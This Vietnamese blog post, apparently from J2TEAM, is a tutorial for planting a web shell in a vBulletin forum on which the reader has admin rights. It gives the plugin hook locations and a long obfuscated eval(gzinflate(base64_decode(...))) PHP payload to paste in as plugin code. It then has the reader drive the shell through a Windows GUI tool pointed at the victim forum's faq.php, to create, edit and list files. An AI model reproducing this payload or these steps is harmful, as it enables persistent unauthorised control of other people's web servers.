J2TEAM Security: A must-have extension for Chrome users. Install now!

Uploading WebShell VBB

Tool + Tut

Có quyền admincp đối với forum victim
Upload file cmd.txt lên 1 hosting
Load AdminCp -> Plugins & Products > Add New Plugin
Quote:
Product : Vbullentin
Hook Location : faq_complete hoặc ajax_complete
Title : Ghi gì cũng được
Plugin PHP Code : code shell cmd.txt đã bỏ <?php ?>
eval(gzinflate(base64_decode("vRhdb9s28K8wghFJjeu2 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 5Iwbe0Y0z+x8QM6B59/AA==")));
Chạy file: WebShell GUI 2 Beta.exe trên máy tính -> điều khiển webshellDòng trên :
Quote:
htt://victim.com/forum/faq.php
hoặc
Dòng dưới :
Quote:
Có chức năng tạo file / thư mục / edit file / ........dir
Leader at J2TEAM. Website: https://j2team.dev/

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!